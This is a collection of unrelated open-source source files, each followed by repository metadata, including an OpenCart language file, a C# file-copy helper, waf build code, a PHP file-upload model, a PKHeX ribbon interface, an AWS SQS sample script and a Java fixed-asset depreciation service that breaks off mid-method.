<?php // Heading $_['heading_title'] = 'Paskyra'; // Text $_['text_register'] = 'Registruotis'; $_['text_login'] = 'Prisijungti'; $_['text_logout'] = 'Atsijungti'; $_['text_forgotten'] = 'Priminti slaptažodį'; $_['text_account'] = 'Mano paskyra'; $_['text_edit'] = 'Mano duomenys'; $_['text_password'] = 'Keisti slaptažodį'; $_['text_address'] = 'Mano adresai'; $_['text_wishlist'] = 'Prekių sąrašas'; $_['text_order'] = 'Užsakymų istorija'; $_['text_download'] = 'Detalių schemos ir dokumentai'; $_['text_return'] = 'Grąžinimų istorija'; $_['text_transaction'] = 'Kreditų valdymas'; $_['text_newsletter'] = 'Naujienlaiškis'; $_['text_recurring'] = 'Pasikartojantys mokėjimai'; ?>
zilgrg/opencart
upload/catalog/language/lithuanian/module/account.php
PHP
gpl-3.0
756
#region header // ======================================================================== // Copyright (c) 2018 - Julien Caillon (julien.caillon@gmail.com) // This file (ProgressCopy.cs) is part of 3P. // // 3P is a free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // 3P is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with 3P. If not, see <http://www.gnu.org/licenses/>. // ======================================================================== #endregion using System; using System.Collections.Generic; using System.ComponentModel; using System.IO; using System.Net; namespace _3PA.Lib { /// <summary> /// This class allows to copy a file or a folder asynchronously, with the possibility to cancel and see the progress /// </summary> internal class ProgressCopy { /// <summary> /// Copies the file asynchronously, you can cancel it by using the returns object and its method cancel /// </summary> public static ProgressCopy CopyAsync(string source, string destination, EventHandler<EndEventArgs> completed, EventHandler<ProgressEventArgs> progressChanged) { var stack = new Stack<FileToCopy>(); stack.Push(new FileToCopy(source, destination)); return new ProgressCopy(stack, completed, progressChanged); } /// <summary> /// Copies the folder asynchronously, you can cancel it by using the returns object and its method cancel /// </summary> public static ProgressCopy CopyDirectory(string source, string target, EventHandler<EndEventArgs> completed, EventHandler<ProgressEventArgs> progressChanged) { var fileStack = new Stack<FileToCopy>(); var folderStack = new Stack<FolderToCopy>(); try { folderStack.Push(new FolderToCopy(source, target)); while (folderStack.Count > 0) { var folders = folderStack.Pop(); Directory.CreateDirectory(folders.Target); foreach (var file in Directory.GetFiles(folders.Source, "*.*")) { fileStack.Push(new FileToCopy(file, Path.Combine(folders.Target, Path.GetFileName(file)))); } foreach (var folder in Directory.GetDirectories(folders.Source)) { folderStack.Push(new FolderToCopy(folder, Path.Combine(folders.Target, Path.GetFileName(folder)))); } } } catch (Exception e) { if (completed != null) completed(null, new EndEventArgs(CopyCompletedType.Exception, e)); } return new ProgressCopy(fileStack, completed, progressChanged); } private long _total; private WebClient _wc; private Stack<FileToCopy> _filesToCopy; private ProgressCopy(Stack<FileToCopy> stack, EventHandler<EndEventArgs> completed, EventHandler<ProgressEventArgs> progressChanged) { _filesToCopy = stack; Completed += completed; ProgressChanged += progressChanged; _total = _filesToCopy.Count; _wc = new WebClient(); _wc.DownloadProgressChanged += WebClientOnDownloadProgressChanged; _wc.DownloadFileCompleted += WcOnDownloadFileCompleted; // start treating the next file Next(); } /// <summary> /// Aborts the copy asynchronously and throws Completed event when done /// </summary> public void AbortCopyAsync() { _wc.CancelAsync(); } /// <summary> /// Event which will notify the subscribers if the copy gets completed /// There are three scenarios in which completed event will be thrown when /// 1.Copy succeeded /// 2.Copy aborted /// 3.Any exception occurred /// </summary> private event EventHandler<EndEventArgs> Completed; /// <summary> /// Event which will notify the subscribers if there is any progress change while copying /// </summary> private event EventHandler<ProgressEventArgs> ProgressChanged; /// <summary> /// Copies the next file in the stack /// </summary> private void Next() { if (_filesToCopy.Count > 0) { var currentFile = _filesToCopy.Pop(); _wc.DownloadFileAsync(new Uri(currentFile.Source), currentFile.Target); } else { if (Completed != null) Completed(this, new EndEventArgs(CopyCompletedType.Succeeded, null)); } } private void WcOnDownloadFileCompleted(object sender, AsyncCompletedEventArgs args) { if (args.Cancelled || args.Error != null) { if (Completed != null) { Completed(this, new EndEventArgs(args.Cancelled ? CopyCompletedType.Aborted : CopyCompletedType.Exception, args.Error)); } } else { Next(); } } private void WebClientOnDownloadProgressChanged(object sender, DownloadProgressChangedEventArgs downloadProgressChangedEventArgs) { if (ProgressChanged != null) ProgressChanged(this, new ProgressEventArgs((_total - _filesToCopy.Count) / (double)_total * 100.0, downloadProgressChangedEventArgs.ProgressPercentage)); } private class FolderToCopy { public string Source { get; private set; } public string Target { get; private set; } public FolderToCopy(string source, string target) { Source = source; Target = target; } } private class FileToCopy { public string Source { get; private set; } public string Target { get; private set; } public FileToCopy(string source, string target) { Source = source; Target = target; } } /// <summary> /// Type indicates how the copy gets completed /// </summary> internal enum CopyCompletedType { Succeeded, Aborted, Exception } /// <summary> /// Event arguments for file copy /// </summary> internal class EndEventArgs : EventArgs { /// <summary> /// Constructor /// </summary> public EndEventArgs(CopyCompletedType type, Exception exception) { Type = type; Exception = exception; } /// <summary> /// Type of the copy completed type /// </summary> public CopyCompletedType Type { get; private set; } /// <summary> /// Exception if any happened during copy /// </summary> public Exception Exception { get; private set; } } /// <summary> /// Event arguments for file copy /// </summary> internal class ProgressEventArgs : EventArgs { /// <summary> /// Constructor /// </summary> public ProgressEventArgs(double total, double current) { TotalFiles = total; CurrentFile = current; } /// <summary> /// Percent of total files done /// </summary> public double TotalFiles { get; private set; } /// <summary> /// Percent done for current file /// </summary> public double CurrentFile { get; private set; } } } }
jcaillon/3P
3PA/Lib/ProgressCopy.cs
C#
gpl-3.0
8,184
var searchData= [ ['network',['Network',['../classNetwork.html',1,'Network&lt; Vertex, Edge &gt;'],['../classNetwork.html#a5041dbbc6de74dfee903edb066476ddb',1,'Network::Network()'],['../classNetwork.html#ae591a151ac8f3fbfb800b282f1d11ea7',1,'Network::Network(NetworkInfo i)']]], ['networkinfo',['NetworkInfo',['../structNetworkInfo.html',1,'']]] ];
leoandeol/network-coverage-computation
docs/search/all_8.js
JavaScript
gpl-3.0
353
#! /usr/bin/env python # encoding: utf-8 # WARNING! Do not edit! http://waf.googlecode.com/git/docs/wafbook/single.html#_obtaining_the_waf_file import copy,re,os from waflib import Task,Utils,Logs,Errors,ConfigSet,Node feats=Utils.defaultdict(set) class task_gen(object): mappings={} prec=Utils.defaultdict(list) def __init__(self,*k,**kw): self.source='' self.target='' self.meths=[] self.prec=Utils.defaultdict(list) self.mappings={} self.features=[] self.tasks=[] if not'bld'in kw: self.env=ConfigSet.ConfigSet() self.idx=0 self.path=None else: self.bld=kw['bld'] self.env=self.bld.env.derive() self.path=self.bld.path try: self.idx=self.bld.idx[id(self.path)]=self.bld.idx.get(id(self.path),0)+1 except AttributeError: self.bld.idx={} self.idx=self.bld.idx[id(self.path)]=1 for key,val in kw.items(): setattr(self,key,val) def __str__(self): return"<task_gen %r declared in %s>"%(self.name,self.path.abspath()) def __repr__(self): lst=[] for x in self.__dict__.keys(): if x not in['env','bld','compiled_tasks','tasks']: lst.append("%s=%s"%(x,repr(getattr(self,x)))) return"bld(%s) in %s"%(", ".join(lst),self.path.abspath()) def get_name(self): try: return self._name except AttributeError: if isinstance(self.target,list): lst=[str(x)for x in self.target] name=self._name=','.join(lst) else: name=self._name=str(self.target) return name def set_name(self,name): self._name=name name=property(get_name,set_name) def to_list(self,val): if isinstance(val,str):return val.split() else:return val def post(self): if getattr(self,'posted',None): return False self.posted=True keys=set(self.meths) self.features=Utils.to_list(self.features) for x in self.features+['*']: st=feats[x] if not st: if not x in Task.classes: Logs.warn('feature %r does not exist - bind at least one method to it'%x) keys.update(list(st)) prec={} prec_tbl=self.prec or task_gen.prec for x in prec_tbl: if x in keys: prec[x]=prec_tbl[x] tmp=[] for a in keys: for x in prec.values(): if a in x:break else: tmp.append(a) tmp.sort() out=[] while tmp: e=tmp.pop() if e in keys:out.append(e) try: nlst=prec[e] except KeyError: pass else: del prec[e] for x in nlst: for y in prec: if x in prec[y]: break else: tmp.append(x) if prec: raise Errors.WafError('Cycle detected in the method execution %r'%prec) out.reverse() self.meths=out Logs.debug('task_gen: posting %s %d'%(self,id(self))) for x in out: try: v=getattr(self,x) except AttributeError: raise Errors.WafError('%r is not a valid task generator method'%x) Logs.debug('task_gen: -> %s (%d)'%(x,id(self))) v() Logs.debug('task_gen: posted %s'%self.name) return True def get_hook(self,node): name=node.name for k in self.mappings: if name.endswith(k): return self.mappings[k] for k in task_gen.mappings: if name.endswith(k): return task_gen.mappings[k] raise Errors.WafError("File %r has no mapping in %r (did you forget to load a waf tool?)"%(node,task_gen.mappings.keys())) def create_task(self,name,src=None,tgt=None): task=Task.classes[name](env=self.env.derive(),generator=self) if src: task.set_inputs(src) if tgt: task.set_outputs(tgt) self.tasks.append(task) return task def clone(self,env): newobj=self.bld() for x in self.__dict__: if x in['env','bld']: continue elif x in['path','features']: setattr(newobj,x,getattr(self,x)) else: setattr(newobj,x,copy.copy(getattr(self,x))) newobj.posted=False if isinstance(env,str): newobj.env=self.bld.all_envs[env].derive() else: newobj.env=env.derive() return newobj def declare_chain(name='',rule=None,reentrant=None,color='BLUE',ext_in=[],ext_out=[],before=[],after=[],decider=None,scan=None,install_path=None,shell=False): ext_in=Utils.to_list(ext_in) ext_out=Utils.to_list(ext_out) if not name: name=rule cls=Task.task_factory(name,rule,color=color,ext_in=ext_in,ext_out=ext_out,before=before,after=after,scan=scan,shell=shell) def x_file(self,node): ext=decider and decider(self,node)or cls.ext_out if ext_in: _ext_in=ext_in[0] tsk=self.create_task(name,node) cnt=0 keys=list(self.mappings.keys())+list(self.__class__.mappings.keys()) for x in ext: k=node.change_ext(x,ext_in=_ext_in) tsk.outputs.append(k) if reentrant!=None: if cnt<int(reentrant): self.source.append(k) else: for y in keys: if k.name.endswith(y): self.source.append(k) break cnt+=1 if install_path: self.bld.install_files(install_path,tsk.outputs) return tsk for x in cls.ext_in: task_gen.mappings[x]=x_file return x_file def taskgen_method(func): setattr(task_gen,func.__name__,func) return func def feature(*k): def deco(func): setattr(task_gen,func.__name__,func) for name in k: feats[name].update([func.__name__]) return func return deco def before_method(*k): def deco(func): setattr(task_gen,func.__name__,func) for fun_name in k: if not func.__name__ in task_gen.prec[fun_name]: task_gen.prec[fun_name].append(func.__name__) return func return deco before=before_method def after_method(*k): def deco(func): setattr(task_gen,func.__name__,func) for fun_name in k: if not fun_name in task_gen.prec[func.__name__]: task_gen.prec[func.__name__].append(fun_name) return func return deco after=after_method def extension(*k): def deco(func): setattr(task_gen,func.__name__,func) for x in k: task_gen.mappings[x]=func return func return deco @taskgen_method def to_nodes(self,lst,path=None): tmp=[] path=path or self.path find=path.find_resource if isinstance(lst,self.path.__class__): lst=[lst] for x in Utils.to_list(lst): if isinstance(x,str): node=find(x) else: node=x if not node: raise Errors.WafError("source not found: %r in %r"%(x,self)) tmp.append(node) return tmp @feature('*') def process_source(self): self.source=self.to_nodes(getattr(self,'source',[])) for node in self.source: self.get_hook(node)(self,node) @feature('*') @before_method('process_source') def process_rule(self): if not getattr(self,'rule',None): return name=str(getattr(self,'name',None)or self.target or self.rule) try: cache=self.bld.cache_rule_attr except AttributeError: cache=self.bld.cache_rule_attr={} cls=None if getattr(self,'cache_rule','True'): try: cls=cache[(name,self.rule)] except KeyError: pass if not cls: cls=Task.task_factory(name,self.rule,getattr(self,'vars',[]),shell=getattr(self,'shell',True),color=getattr(self,'color','BLUE'),scan=getattr(self,'scan',None)) if getattr(self,'scan',None): cls.scan=self.scan elif getattr(self,'deps',None): def scan(self): nodes=[] for x in self.generator.to_list(getattr(self.generator,'deps',None)): node=self.generator.path.find_resource(x) if not node: self.generator.bld.fatal('Could not find %r (was it declared?)'%x) nodes.append(node) return[nodes,[]] cls.scan=scan if getattr(self,'update_outputs',None): Task.update_outputs(cls) if getattr(self,'always',None): Task.always_run(cls) for x in['after','before','ext_in','ext_out']: setattr(cls,x,getattr(self,x,[])) if getattr(self,'cache_rule','True'): cache[(name,self.rule)]=cls tsk=self.create_task(name) if getattr(self,'target',None): if isinstance(self.target,str): self.target=self.target.split() if not isinstance(self.target,list): self.target=[self.target] for x in self.target: if isinstance(x,str): tsk.outputs.append(self.path.find_or_declare(x)) else: x.parent.mkdir() tsk.outputs.append(x) if getattr(self,'install_path',None): self.bld.install_files(self.install_path,tsk.outputs) if getattr(self,'source',None): tsk.inputs=self.to_nodes(self.source) self.source=[] if getattr(self,'cwd',None): tsk.cwd=self.cwd @feature('seq') def sequence_order(self): if self.meths and self.meths[-1]!='sequence_order': self.meths.append('sequence_order') return if getattr(self,'seq_start',None): return if getattr(self.bld,'prev',None): self.bld.prev.post() for x in self.bld.prev.tasks: for y in self.tasks: y.set_run_after(x) self.bld.prev=self re_m4=re.compile('@(\w+)@',re.M) class subst_pc(Task.Task): def run(self): if getattr(self.generator,'is_copy',None): self.outputs[0].write(self.inputs[0].read('rb'),'wb') if getattr(self.generator,'chmod',None): os.chmod(self.outputs[0].abspath(),self.generator.chmod) return code=self.inputs[0].read(encoding=getattr(self.generator,'encoding','ISO8859-1')) code=code.replace('%','%%') lst=[] def repl(match): g=match.group if g(1): lst.append(g(1)) return"%%(%s)s"%g(1) return'' code=re_m4.sub(repl,code) try: d=self.generator.dct except AttributeError: d={} for x in lst: tmp=getattr(self.generator,x,'')or self.env.get_flat(x)or self.env.get_flat(x.upper()) d[x]=str(tmp) code=code%d self.outputs[0].write(code,encoding=getattr(self.generator,'encoding','ISO8859-1')) self.generator.bld.raw_deps[self.uid()]=self.dep_vars=lst try:delattr(self,'cache_sig') except AttributeError:pass if getattr(self.generator,'chmod',None): os.chmod(self.outputs[0].abspath(),self.generator.chmod) def sig_vars(self): bld=self.generator.bld env=self.env upd=self.m.update vars=self.generator.bld.raw_deps.get(self.uid(),[]) act_sig=bld.hash_env_vars(env,vars) upd(act_sig) lst=[getattr(self.generator,x,'')for x in vars] upd(Utils.h_list(lst)) return self.m.digest() @extension('.pc.in') def add_pcfile(self,node): tsk=self.create_task('subst_pc',node,node.change_ext('.pc','.pc.in')) self.bld.install_files(getattr(self,'install_path','${LIBDIR}/pkgconfig/'),tsk.outputs) class subst(subst_pc): pass @feature('subst') @before_method('process_source','process_rule') def process_subst(self): src=Utils.to_list(getattr(self,'source',[])) if isinstance(src,Node.Node): src=[src] tgt=Utils.to_list(getattr(self,'target',[])) if isinstance(tgt,Node.Node): tgt=[tgt] if len(src)!=len(tgt): raise Errors.WafError('invalid number of source/target for %r'%self) for x,y in zip(src,tgt): if not x or not y: raise Errors.WafError('null source or target for %r'%self) a,b=None,None if isinstance(x,str)and isinstance(y,str)and x==y: a=self.path.find_node(x) b=self.path.get_bld().make_node(y) if not os.path.isfile(b.abspath()): b.sig=None b.parent.mkdir() else: if isinstance(x,str): a=self.path.find_resource(x) elif isinstance(x,Node.Node): a=x if isinstance(y,str): b=self.path.find_or_declare(y) elif isinstance(y,Node.Node): b=y if not a: raise Errors.WafError('cound not find %r for %r'%(x,self)) has_constraints=False tsk=self.create_task('subst',a,b) for k in('after','before','ext_in','ext_out'): val=getattr(self,k,None) if val: has_constraints=True setattr(tsk,k,val) if not has_constraints and b.name.endswith('.h'): tsk.before=[k for k in('c','cxx')if k in Task.classes] inst_to=getattr(self,'install_path',None) if inst_to: self.bld.install_files(inst_to,b,chmod=getattr(self,'chmod',Utils.O644)) self.source=[]
arnov-sinha/sFFT-OpenACC-Library
tools/.waf-1.7.5-47d5afdb5e7e2856f7f46a7101914026/waflib/TaskGen.py
Python
gpl-3.0
11,393
from umlfri2.ufl.components.base.componenttype import ComponentType from umlfri2.types.image import Image from .componentloader import ComponentLoader from ....constants import ADDON_NAMESPACE, ADDON_SCHEMA from .structureloader import UflStructureLoader from umlfri2.ufl.components.valueproviders import ConstantValueProvider, DynamicValueProvider from umlfri2.ufl.components.text import TextContainerComponent from umlfri2.metamodel import DiagramType class DiagramTypeLoader: def __init__(self, storage, xmlroot, file_name, elements, connections): self.__storage = storage self.__xmlroot = xmlroot self.__file_name = file_name if not ADDON_SCHEMA.validate(xmlroot): raise Exception("Cannot load diagram type: {0}".format(ADDON_SCHEMA.error_log.last_error)) self.__elements = elements self.__connections = connections def load(self): id = self.__xmlroot.attrib["id"] icon = None ufl_type = None display_name = None background = None connections = [] elements = [] for child in self.__xmlroot: if child.tag == "{{{0}}}Icon".format(ADDON_NAMESPACE): icon_path = child.attrib["path"] if not self.__storage.exists(icon_path): raise Exception("Unknown icon {0}".format(icon_path)) icon = Image(self.__storage, icon_path) elif child.tag == "{{{0}}}Structure".format(ADDON_NAMESPACE): ufl_type = UflStructureLoader(child, self.__file_name).load() elif child.tag == "{{{0}}}DisplayName".format(ADDON_NAMESPACE): display_name = TextContainerComponent( ComponentLoader(child, ComponentType.text, self.__file_name).load() ) elif child.tag == "{{{0}}}Connections".format(ADDON_NAMESPACE): for childchild in child: connections.append(childchild.attrib["id"]) elif child.tag == "{{{0}}}Elements".format(ADDON_NAMESPACE): for childchild in child: elements.append(childchild.attrib["id"]) elif child.tag == "{{{0}}}Appearance".format(ADDON_NAMESPACE): for childchild in child: if childchild.tag == "{{{0}}}Background".format(ADDON_NAMESPACE): attrvalue = childchild.attrib["color"] if attrvalue.startswith("##"): background = ConstantValueProvider(attrvalue[1:]) elif attrvalue.startswith("#"): background = DynamicValueProvider(attrvalue[1:]) else: background = ConstantValueProvider(attrvalue) else: raise Exception elements = tuple(self.__elements[id] for id in elements) connections = tuple(self.__connections[id] for id in connections) return DiagramType(id, icon, ufl_type, display_name, elements, connections, background)
umlfri/umlfri2
umlfri2/datalayer/loaders/addon/metamodel/diagramtypeloader.py
Python
gpl-3.0
3,129
<?php /* * Copyright (C) 2017 Yang Ming <yangming0116@163.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ namespace App\Model; use Org\Snje\Minifw as FW; use Org\Snje\Minifw\Exception; use App; /** * Description of BookPage * * @author Yang Ming <yangming0116@163.com> */ class BookFile extends BookNode { public function __construct($book, $path) { parent::__construct($book, $path); $path = $this->get_path(); if (FW\File::call( 'is_file' , $this->root . 'file/' . $path , $this->fsencoding)) { $this->type = self::TYPE_FILE; } else if (FW\File::call( 'is_dir' , $this->root . 'file/' . $path , $this->fsencoding)) { $this->dir = trim($path, '/'); $this->file = ''; $this->type = self::TYPE_DIR; } } public function get_real_path() { $path = $this->get_path(); return $this->root . 'file/' . $path; } public function is_image() { $path = $this->get_real_path(); $types = '.gif|.jpeg|.png|.bmp|.jpg|.svg'; //定义检查的图片类型 if (file_exists($path)) { $ext = pathinfo($path, PATHINFO_EXTENSION); return stripos($types, $ext); } else { return false; } } public function upload($file, $msg) { if (empty($file)) { return false; } if ($file['error'] != 0) { return false; } $path = $this->get_real_path(); FW\File::mkdir(dirname($path), $this->fsencoding); $path = FW\File::conv_to($path, $this->fsencoding); if (\move_uploaded_file($file['tmp_name'], $path)) { if ($msg !== null) { return $this->book_obj->git_cmd('commit', $msg); } return true; } else { return false; } } }
snje1987/webnote
src/Model/BookFile.php
PHP
gpl-3.0
2,631
<?php /** * Skeleton subclass for representing a row from the 'proveedor' table. * * * * This class was autogenerated by Propel 1.4.2 on: * * Thu Aug 16 14:42:09 2012 * * You should add additional methods to this class to meet the * application requirements. This class will only be generated as * long as it does not already exist in the output directory. * * @package lib.model */ class Proveedor extends BaseProveedor { } // Proveedor
linuxska/sii-ibfdf
lib/model/Proveedor.php
PHP
gpl-3.0
460
#include "pieces.hpp" int W_PAWN = 100; int W_KNIGHT = 275; int W_BISHOP = 325; int W_ROOK = 465; int W_QUEEN = 900; int W_KING = 10000; int B_PAWN = -100; int B_KNIGHT = -275; int B_BISHOP = -325; int B_ROOK = -465; int B_QUEEN = -900; int B_KING = -10000; long MOVES = 0; int REQUIRED_CAPTURES = -3; int DEEPNESS=1; int LAST_VALUATION=0; int MOVE_COUNTER=1;
tsoj/jht-chess
src/pieces.cpp
C++
gpl-3.0
377
package com.majorpotato.febridge.commands; import com.forgeessentials.api.APIRegistry; import com.forgeessentials.commands.util.FEcmdModuleCommands; import com.forgeessentials.economy.ModuleEconomy; import com.forgeessentials.util.output.ChatOutputHandler; import com.majorpotato.febridge.FEBridge; import com.majorpotato.febridge.handler.GuiHandler; import com.majorpotato.febridge.init.ModPermissions; import com.majorpotato.febridge.network.PacketBuilder; import com.majorpotato.febridge.tileentity.ICurrencyService; import com.majorpotato.febridge.util.FormatHelper; import cpw.mods.fml.common.network.internal.FMLNetworkHandler; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; import net.minecraft.command.ICommandSender; import net.minecraft.entity.player.EntityPlayerMP; import net.minecraft.server.MinecraftServer; import net.minecraft.tileentity.TileEntity; import net.minecraft.world.World; import net.minecraftforge.permission.PermissionLevel; import java.util.ArrayList; import java.util.List; @SideOnly(Side.SERVER) public class CommandPermEditor extends FEcmdModuleCommands { @Override public boolean canConsoleUseCommand() { return false; } @Override public PermissionLevel getPermissionLevel() { return PermissionLevel.TRUE; } @Override public String getCommandName() { return "permgui"; } @Override public String getCommandUsage(ICommandSender sender) { return "/pg"; } @Override public String[] getDefaultAliases() { return new String[] { "permgui", "pgui", "pg" }; } @Override public String getPermissionNode() { return ModuleEconomy.PERM_COMMAND + "." + getCommandName(); } @Override public void processCommandPlayer(EntityPlayerMP player, String[] args) { PacketBuilder.instance().commandClientToOpenGui(player, GuiHandler.GUI_PERM_EDITOR); } }
debroejm/FEBridge
src/main/java/com/majorpotato/febridge/commands/CommandPermEditor.java
Java
gpl-3.0
1,898
namespace PKHeX.Core { /// <summary> Ribbons introduced in Generation 4 for Special Events </summary> public interface IRibbonSetEvent4 { bool RibbonClassic { get; set; } bool RibbonWishing { get; set; } bool RibbonPremier { get; set; } bool RibbonEvent { get; set; } bool RibbonBirthday { get; set; } bool RibbonSpecial { get; set; } bool RibbonWorld { get; set; } bool RibbonChampionWorld { get; set; } bool RibbonSouvenir { get; set; } } internal static partial class RibbonExtensions { private static readonly string[] RibbonSetNamesEvent4 = { nameof(IRibbonSetEvent4.RibbonClassic), nameof(IRibbonSetEvent4.RibbonWishing), nameof(IRibbonSetEvent4.RibbonPremier), nameof(IRibbonSetEvent4.RibbonEvent), nameof(IRibbonSetEvent4.RibbonBirthday), nameof(IRibbonSetEvent4.RibbonSpecial), nameof(IRibbonSetEvent4.RibbonWorld), nameof(IRibbonSetEvent4.RibbonChampionWorld), nameof(IRibbonSetEvent4.RibbonSouvenir) }; internal static bool[] RibbonBits(this IRibbonSetEvent4 set) { if (set == null) return new bool[9]; return new[] { set.RibbonClassic, set.RibbonWishing, set.RibbonPremier, set.RibbonEvent, set.RibbonBirthday, set.RibbonSpecial, set.RibbonWorld, set.RibbonChampionWorld, set.RibbonSouvenir, }; } internal static string[] RibbonNames(this IRibbonSetEvent4 _) => RibbonSetNamesEvent4; } }
jotebe/PKHeX
PKHeX.Core/Ribbons/IRibbonSetEvent4.cs
C#
gpl-3.0
1,706
""" sample AWS SQS enqueue an item """ import boto3 # AWS API python module import json # open a connection to the SQS service # (using ~/.aws/credentials for access info) sqs = boto3.resource('sqs') # print queues in existence #for queue in sqs.queues.all(): # print(queue.url) # create (or return existing) queue of this name try: queue = sqs.get_queue_by_name(QueueName='sample_queue') except: try: queue = sqs.create_queue(QueueName='sample_queue', Attributes={'DelaySeconds': '5'}) except: # print exception in case sqs could not create the queue import sys, traceback, uuid, datetime # API is "exc_traceback = sys.exc_info(out exc_type, out exc_value)" # next stmt: out parameters come before equal return variable exc_type, exc_value, exc_traceback = sys.exc_info() e = traceback.format_exception(exc_type, exc_value, exc_traceback) e = ''.join(e) uniqueErrorId = uuid.uuid4() data = {'status': 'E', 'uuid': uniqueErrorId, 'exception': str(e), 'now': datetime.datetime.utcnow()} print("Exception caught during SQS.create_queue: '{0}'".format(data)) sys.exit(0) # forces script exit without a traceback printed # print queue url for diagnostics print(queue.url) # on a real program, one would not purge the queue, but here is how to do it try: queue.purge() except: # only purge once every 60 seconds allowed in SQS... pass # <<== this is a noop stmt in python; this will "eat" the exception and continue execution # format the message to be sent msgBody = """ { "verb": "SCAN", "TCPIP": "97.80.230.155" } """ print ('orignal msg: "{0}"'.format(msgBody)) body = json.loads(msgBody) print('msg body after json.loads: "{0}"'.format(json.dumps(body))) # send the message string_msg = json.dumps(body) string_msgAttributes = { 'Author': { 'StringValue': __file__, # <== "sample_post_sqs.py" 'DataType': 'String' } } try: queue.send_message(MessageBody=string_msg, MessageAttributes=string_msgAttributes) except: import sys, traceback, uuid, datetime # API is "exc_traceback = sys.exc_info(out exc_type, out exc_value)" # next stmt: out parameters come before equal return variable exc_type, exc_value, exc_traceback = sys.exc_info() e = traceback.format_exception(exc_type, exc_value, exc_traceback) e = ''.join(e) uniqueErrorId = uuid.uuid4() data = {'status': 'E', 'uuid': uniqueErrorId, 'exception': str(e), 'now': datetime.datetime.utcnow()} print("Exception caught during SQS.create_queue: '{0}'".format(data)) sys.exit(0) # forces script exit without a traceback printed
opedroso/aws-python-examples
sqs/sample_post_sqs.py
Python
gpl-3.0
2,736
package com.encens.khipus.service.fixedassets; import com.encens.khipus.framework.service.GenericServiceBean; import com.encens.khipus.model.finances.FinancesCurrencyType; import com.encens.khipus.model.fixedassets.FixedAsset; import com.encens.khipus.model.fixedassets.FixedAssetDepreciationRecord; import com.encens.khipus.model.fixedassets.FixedAssetGroupPk; import com.encens.khipus.model.fixedassets.FixedAssetSubGroupPk; import com.encens.khipus.util.BigDecimalUtil; import com.encens.khipus.util.CurrencyValuesContainer; import com.encens.khipus.util.DateUtils; import org.jboss.seam.annotations.AutoCreate; import org.jboss.seam.annotations.Name; import javax.ejb.Stateless; import javax.persistence.NoResultException; import javax.persistence.Query; import java.math.BigDecimal; import java.util.Calendar; import java.util.Date; /** * FixedAssetDepreciationRecordService implementation * * @author * @version 2.21 */ @Stateless @AutoCreate @Name("fixedAssetDepreciationRecordService") public class FixedAssetDepreciationRecordServiceBean extends GenericServiceBean implements FixedAssetDepreciationRecordService { public void createFixedAssetDepreciationRecord(FixedAsset fixedAsset, Date lastDayOfCurrentProcessMonth, BigDecimal lastDayOfMonthUfvExchangeRate) { Calendar currentDate = Calendar.getInstance(); FixedAssetDepreciationRecord fixedAssetDepreciationRecord = new FixedAssetDepreciationRecord(); fixedAssetDepreciationRecord.setFixedAsset(fixedAsset); fixedAssetDepreciationRecord.setCurrency(FinancesCurrencyType.U); fixedAssetDepreciationRecord.setAcumulatedDepreciation(fixedAsset.getAcumulatedDepreciation()); fixedAssetDepreciationRecord.setBsAccumulatedDepreciation( BigDecimalUtil.multiply( fixedAsset.getAcumulatedDepreciation(), lastDayOfMonthUfvExchangeRate ) ); fixedAssetDepreciationRecord.setCostCenterCode(fixedAsset.getCostCenterCode()); fixedAssetDepreciationRecord.setCustodian(fixedAsset.getCustodianJobContract().getContract().getEmployee()); fixedAssetDepreciationRecord.setDepreciation(fixedAsset.getDepreciation()); fixedAssetDepreciationRecord.setBsDepreciation( BigDecimalUtil.multiply( fixedAsset.getDepreciation(), lastDayOfMonthUfvExchangeRate ) ); fixedAssetDepreciationRecord.setDepreciationRate(fixedAsset.getDepreciationRate()); fixedAssetDepreciationRecord.setBusinessUnit(fixedAsset.getBusinessUnit()); fixedAssetDepreciationRecord.setTotalValue( BigDecimalUtil.sum( fixedAsset.getUfvOriginalValue(), fixedAsset.getImprovement() ) ); Calendar lastDay = DateUtils.toDateCalendar(lastDayOfCurrentProcessMonth); fixedAssetDepreciationRecord.setProcessDate(lastDay.getTime()); fixedAssetDepreciationRecord.setDepreciationDate(currentDate.getTime()); fixedAssetDepreciationRecord.setBsUfvRate(lastDayOfMonthUfvExchangeRate); getEntityManager().persist(fixedAssetDepreciationRecord); getEntityManager().flush(); } /** * Gets the depreciation sum for fixedAssets int he group and in the date range * * @param fixedAssetGroupId fixedAssetGroup * @param dateRange The date range start * @return The sum of depreciation amounts */ public CurrencyValuesContainer getDepreciationAmountForGroupUpTo(FixedAssetGroupPk fixedAssetGroupId, Date dateRange) { CurrencyValuesContainer res = new CurrencyValuesContainer(); try { Query query = getEntityManager().createNamedQuery("FixedAssetDepreciationRecord.findDepreciationAmountForGroupUpTo"); query.setParameter("fixedAssetGroupId", fixedAssetGroupId); query.setParameter("dateRange", dateRange); res = (CurrencyValuesContainer) query.getSingleResult(); } catch (NoResultException nrex) { log.debug("No result in the query getting depreciation amount for group."); } catch (Exception e) { log.error("Error when getting depreciation amount for group.. ", e); } return (res); } /** * Gets the depreciation sum for a group, subgroup and date range * @param fixedAssetSubGroupId fixedAssetSubGroupId * @param fixedAssetGroupId fixedAssetGroup * @param dateRange The date range start * @return The sum of depreciation amounts */ public CurrencyValuesContainer getDepreciationAmountForGroupAndSubGroupUpTo(FixedAssetGroupPk fixedAssetGroupId, FixedAssetSubGroupPk fixedAssetSubGroupId, Date dateRange) { CurrencyValuesContainer res = new CurrencyValuesContainer(); try { Query query = getEntityManager().createNamedQuery("FixedAssetDepreciationRecord.findDepreciationAmountForGroupAndSubGroupUpTo"); query.setParameter("fixedAssetGroupId", fixedAssetGroupId); query.setParameter("fixedAssetSubGroupId", fixedAssetSubGroupId); query.setParameter("dateRange", dateRange); res = (CurrencyValuesContainer) query.getSingleResult(); } catch (NoResultException nrex) { 